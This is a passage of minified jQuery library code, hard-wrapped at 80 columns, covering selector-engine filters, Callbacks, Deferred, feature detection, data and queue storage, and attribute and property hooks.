||"")})},ATTR:function(e,t,n){return function(r){var i=at.attr(r,e);return null=
=i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"
*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+"
").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:fu
nction(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"=
==t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var u,
c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName
.toLowerCase(),v=!l&&!s;if(m){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.to
LowerCase()===y:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return
!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]={}),u=c[e]||[],d=u[0]==
=T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||(f=d=0)||h.

pop())if(1===p.nodeType&&++f&&p===t){c[e]=[T,d,f];break}}else if(v&&(u=(t[b]||(t
[b]={}))[e])&&u[0]===T)f=u[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?
p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(v&&((p[b]||(p[b]={}))[e]=[T,
f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var
n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error("unsupported pseudo: "
+e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty(e.toLo
werCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=F.call(e,o[a])
,e[i]=!(n[i]=o[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(
e){var t=[],n=[],r=l(e.replace(z,"$1"));return r[b]?lt(function(e,t,n,i){var o,a
=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o
){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){
return at(e,t).length>0}}),contains:lt(function(e){return function(t){return(t.t
extContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e){return G.tes
t(e||"")||at.error("unsupported lang: "+e),e=e.replace(rt,it).toLowerCase(),func
tion(t){var n;do if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"
))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1
===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;
return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){re
turn e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||~e.tab
Index)},enabled:function(e){return e.disabled===!1},disabled:function(e){return
e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input
"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.pa
rentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.
firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)r
eturn!1;return!0},parent:function(e){return!o.pseudos.empty(e)},header:function(
e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},but
ton:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.t
ype||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase
()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type
)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(fun
ction(e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.p
ush(n);return e}),odd:ht(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}
),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:ht(
function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}},o.pseudos.nth
=o.pseudos.eq;for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})o.pseu
dos[n]=ft(n);for(n in{submit:!0,reset:!0})o.pseudos[n]=dt(n);function gt(){}gt.p
rototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,
l,u,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,l=[],u=o.preFilter;while(s){(!n||(
r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=[])),n=!1,(r=U.exec(s))&
&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));fo
r(a in o.filter)!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({valu
e:n,type:a,matches:r}),s=s.slice(n.length));if(!n)break}return t?s.length:s?at.e
rror(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e
[t].value;return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C++;re
turn t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||o)return e(t,n,i)}:
function(t,n,s){var l,u,c,p=T+" "+a;if(s){while(t=t[r])if((1===t.nodeType||o)&&e
(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||o)if(c=t[b]||(t[b]={}),(u=
c[r])&&u[0]===p){if((l=u[1])===!0||l===i)return l===!0}else if(u=c[r]=[p],u[1]=e
(t,n,s)||i,u[1]===!0)return!0}}function bt(e){return e.length>1?function(t,n,r){
var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xt(e,t
,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s++)(o=e[s])&&(!n||n(o,r,i)
)&&(a.push(o),u&&t.push(s));return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(
r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.leng
th,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt(g,f,e,s,l),y=n?i||(o?e:h
||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--)(p=u[
c])&&(y[d[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){u=[],c=y.length;while(c--)(p=y[
c])&&u.push(m[c]=p);i(null,y=[],u,l)}c=y.length;while(c--)(p=y[c])&&(u=i?F.call(
o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}else y=xt(y===a?y.splice(h,y.length):y),i?i(nul
l,a,y,l):M.apply(a,y)})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].ty
pe],s=a||o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(funct

ion(e){return F.call(t,e)>-1},s,!0),f=[function(e,n,r){return!a&&(r||n!==u)||((t
=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l++)if(n=o.relative[e[l].type])f=[vt(
bt(f),n)];else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r=++l
;i>r;r++)if(o.relative[e[r].type])break;return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l
-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&Tt(e.slice(
l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}return bt(f)}function Ct(e,t){
var n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0"
,x=s&&[],w=null!=d,C=u,N=s||a&&o.find.TAG("*",d&&l.parentNode||l),k=T+=null==C?1
:Math.random()||.1;for(w&&(u=l!==f&&l,i=n);null!=(h=N[b]);b++){if(a&&h){g=0;whil
e(m=e[g++])if(m(h,l,c)){p.push(h);break}w&&(T=k,i=++n)}r&&((h=!m&&h)&&v--,s&&x.p
ush(h))}if(v+=b,r&&b!==v){g=0;while(m=t[g++])m(x,y,l,c);if(s){if(v>0)while(b--)x
[b]||y[b]||(y[b]=q.call(p));y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v+t.length>1
&&at.uniqueSort(p)}return w&&(T=k,u=C),x};return r?lt(s):s}l=at.compile=function
(e,t){var n,r=[],i=[],o=E[e+" "];if(!o){t||(t=mt(e)),n=t.length;while(n--)o=Tt(t
[n]),o[b]?r.push(o):i.push(o);o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var r=
0,i=t.length;for(;i>r;r++)at(e,t[r],n);return n}function kt(e,t,n,i){var a,s,u,c
,p,f=mt(e);if(!i&&1===f.length){if(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[
0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s[1].type]){if(t=(o.find.ID(u
.matches[0].replace(rt,it),t)||[])[0],!t)return n;e=e.slice(s.shift().value.leng
th)}a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type
])break;if((p=o.find[c])&&(i=p(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.
parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e)return M.apply(n,i),n;bre
ak}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("
")===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compare
DocumentPosition(f.createElement("div"))}),ut(function(e){return e.innerHTML="<a
href='#'></a>","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|
width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)
}),r.attributes&&ut(function(e){return e.innerHTML="<input/>",e.firstChild.setAt
tribute("value",""),""===e.firstChild.getAttribute("value")})||ct("value",functi
on(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(fun
ction(e){return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;r
eturn r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase
():null}),x.find=at,x.expr=at.selectors,x.expr[":"]=x.expr.pseudos,x.unique=at.u
niqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var O
={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=
!0}),t}x.Callbacks=function(e){e="string"==typeof e?O[e]||F(e):x.extend({},e);va
r n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0
,o=l.length,n=!0;l&&o>a;a++)if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;b
reak}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if
(l){var t=l.length;(function i(t){x.each(t,function(t,n){var r=x.type(n);"functi
on"===r?e.unique&&p.has(n)||l.push(n):n&&n.length&&"string"!==r&&i(n)})})(argume
nts),n?o=l.length:r&&(s=t,c(r))}return this},remove:function(){return l&&x.each(
arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1)l.splice(r,1),n&&(o>
=r&&o--,a>=r&&a--)}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.l
ength)},empty:function(){return l=[],o=0,this},disable:function(){return l=u=r=t
,this},disabled:function(){return!l},lock:function(){return u=t,r||p.disable(),t
his},locked:function(){return!u},fireWith:function(e,t){return!l||i&&!u||(t=t||[
],t=[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fir
eWith(this,arguments),this},fired:function(){return!!i}};return p},x.extend({Def
erred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"
],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x
.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function
(){return i.done(arguments).fail(arguments),this},then:function(){var e=argument
s;return x.Deferred(function(n){x.each(t,function(t,o){var a=o[0],s=x.isFunction
(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction
(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"W
ith"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise
:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t
,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2
].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this

,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},whe
n:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.
promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=th
is,n[e]=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.re
solveWith(t,n)}},s,l,u;if(r>1)for(s=Array(r),l=Array(r),u=Array(r);r>t;t++)n[t]&
&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail(o.reject).progres
s(a(t,l,s)):--i;return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t
){var n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","
t"),d.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox
'/>",n=d.getElementsByTagName("*")||[],r=d.getElementsByTagName("a")[0],!r||!r.s
tyle||!n.length)return t;s=a.createElement("select"),u=s.appendChild(a.createEle
ment("option")),o=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;fl
oat:left;opacity:.5",t.getSetAttribute="t"!==d.className,t.leadingWhitespace=3==
=d.firstChild.nodeType,t.tbody=!d.getElementsByTagName("tbody").length,t.htmlSer
ialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute
("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(
r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!o.value,t.optSelected
=u.selected,t.enctype=!!a.createElement("form").enctype,t.html5Clone="<:nav></:n
av>"!==a.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!
1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,
t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.
cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}
catch(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""
),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"
),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name"
,"t"),l=a.createDocumentFragment(),l.appendChild(o),t.appendChecked=o.checked,t.
checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.att
achEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f
in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=
c in e||d.attributes[c].expando===!1;d.style.backgroundClip="content-box",d.clon
eNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.back
groundClip;for(f in x(t))break;return t.ownLast="0"!==f,x(function(){var n,r,o,s
="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizi
ng:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")
[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;posi
tion:absolute;top:0;left:-9999px;margin-top:1px",l.appendChild(n).appendChild(d)
,d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=d.getElementsByTagN
ame("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[
0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHidden
Offsets=p&&0===o[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:bord
er-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;bord
er:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",x.swap(l
,null!=l.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===d.offsetWidth}),e.get
ComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.bo
xSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.ap
pendChild(a.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marg
inRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat(
(e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.inner
HTML="",d.style.cssText=s+"width:1px;padding:1px;display:inline;zoom:1",t.inline
BlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="<div></d
iv>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlin
eBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild(n),n=d=o=r=null)}),n=s=l=u=r=
o=null,t
}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x
.acceptData(e)){var o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;
if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!=typeof n)return c||(c=l?e[s]=p.pop(
)||x.guid++:s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof n||"function"
==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i|
|(a.data||(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?
(o=a[n],null==o&&(o=a[x.camelCase(n)])):o=a,o}}function W(e,t,n){if(x.acceptData

(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t
&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[
t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--)delete r[t[
i]];if(n?!I(r):!x.isEmptyObject(r))return}(n||(delete a[s].data,I(a[s])))&&(o?x.
cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}
x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-9
6B8-444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]
:e[x.expando],!!e&&!I(e)},data:function(e,t,n){return R(e,t,n)},removeData:funct
ion(e,t){return W(e,t)},_data:function(e,t,n){return R(e,t,n,!0)},_removeData:fu
nction(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeTy
pe&&9!==e.nodeType)return!1;var t=e.nodeName&&x.noData[e.nodeName.toLowerCase()]
;return!t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e
,n){var r,i,o=null,a=0,s=this[0];if(e===t){if(this.length&&(o=x.data(s),1===s.no
deType&&!x._data(s,"parsedAttrs"))){for(r=s.attributes;r.length>a;a++)i=r[a].nam
e,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o[i]));x._data(s,"par
sedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data(this
,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data(
s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this
,e)})}});function $(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(P,"
-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?
!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:B.test(r)?x.parseJSON(r):r}catch(
o){}x.data(e,n,r)}else r=t}return r}function I(e){var t;for(t in e)if(("data"!==
t||!x.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}x.extend({queue:funct
ion(e,n,r){var i;return e?(n=(n||"fx")+"queue",i=x._data(e,n),r&&(!i||x.isArray(
r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t|
|"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),a=function(
){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("i
nprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:func
tion(e,t){var n=t+"queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbac
ks("once memory").add(function(){x._removeData(e,t+"queue"),x._removeData(e,n)})
})}}),x.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e=
"fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each(function(){
var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.d
equeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this
,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queu
e(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},cl
earQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,
i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};
"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--)r=x._data(a[s],e+"queueHooks")
,r&&r.empty&&(i++,r.empty.add(l));return l(),o.promise(n)}});var z,X,U=/[\t\r\n\
f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|area)$/i,G=
/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.ext
end({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},rem
oveAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:fun
ction(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:funct
ion(e){return e=x.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e
]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"=
=typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.
call(this,t,this.className))});if(l)for(t=(e||"").match(T)||[];s>a;a++)if(n=this
[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U," "):" ")){o=
0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=x.trim(r)}return
this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.l
ength||"string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(t
his).removeClass(e.call(this,t,this.className))});if(l)for(t=(e||"").match(T)||[
];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").repl
ace(U," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "
+i+" "," ");n.className=e?x.trim(r):""}return this},toggleClass:function(e,t){va
r n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.rem
oveClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(thi
s,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(t

his),a=e.match(T)||[];while(t=a[r++])o.hasClass(t)?o.removeClass(t):o.addClass(t
)}else(n===i||"boolean"===n)&&(this.className&&x._data(this,"__className__",this
.className),this.className=this.className||e===!1?"":x._data(this,"__className__
")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)i
f(1===this[n].nodeType&&(" "+this[n].className+" ").replace(U," ").indexOf(t)>=0
)return!0;return!1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)ret
urn i=x.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=i?e.call
(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o+="":x.isArray(o)&&(o=
x.map(o,function(e){return null==e?"":e+""})),r=x.valHooks[this.type]||x.valHook
s[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.va
lue=o))});if(o)return r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()]
,r&&"get"in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replac
e(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=x.fi
nd.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var t,n,r=e
.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.le
ngth,l=0>i?s:o?i:0;for(;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(x.support.optDi
sabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.n
odeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o)return t;a.push(t)}return a
},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--)r=
i[a],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=
-1),o}}},attr:function(e,n,r){var o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)ret
urn typeof e.getAttribute===i?x.prop(e,n,r):(1===s&&x.isXMLDoc(e)||(n=n.toLowerC
ase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?o&&"get"in o&&nul
l!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set"in o&&(a=
o.set(e,r,n))!==t?a:(e.setAttribute(n,r+""),r):(x.removeAttr(e,n),t))},removeAtt
r:function(e,t){var n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType)while(n=o[i++])
r=x.propFix[n]||n,x.expr.match.bool.test(n)?K&&Q||!G.test(n)?e[r]=!1:e[x.camelCa
se("default-"+n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?n:r)},attrHooks:{ty
pe:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input
")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{
"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType
;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,
o=x.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get"in o
&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var t=x.fin
d.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeNa
me)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&
Q||!G.test(n)?e.setAttribute(!Q&&x.propFix[n]||n,n):e[x.camelCase("default-"+n)]
=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w+/g),function(e,n){var r=x
.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(
e,n,i){var o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toL
owerCase():null;return x.expr.attrHandle[n]=o,a}:function(e,n,r){return r?t:e[x.
camelCase("default-"+n)]?n.toLowerCase():null}}),K&&Q||(x.attrHooks.value={set:f
unction(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set(e,n,r)
}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttrib
uteNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.g
etAttribute(r)?n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHand
le.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.val
ue?i.value:null},x.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n
);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:f
unction(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){
x.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}}
)),x.support.hrefNormalized||x.each(["href","src"],function(e,t){x.propHooks[t]=
{get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.st
yle={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style
.cssText=t+""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){v
ar t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selected
Index),null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadd
ing","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.
propFix[this.toLowerCase()]=this}),x.support.enctype||(x.propFix.enctype="encodi
ng"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n){

return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||
(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.v
alue})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmen
u)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;functio
n it(){return!0}function ot(){return!1}function at(){try{return a.activeElement}
catch(e){}}x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,
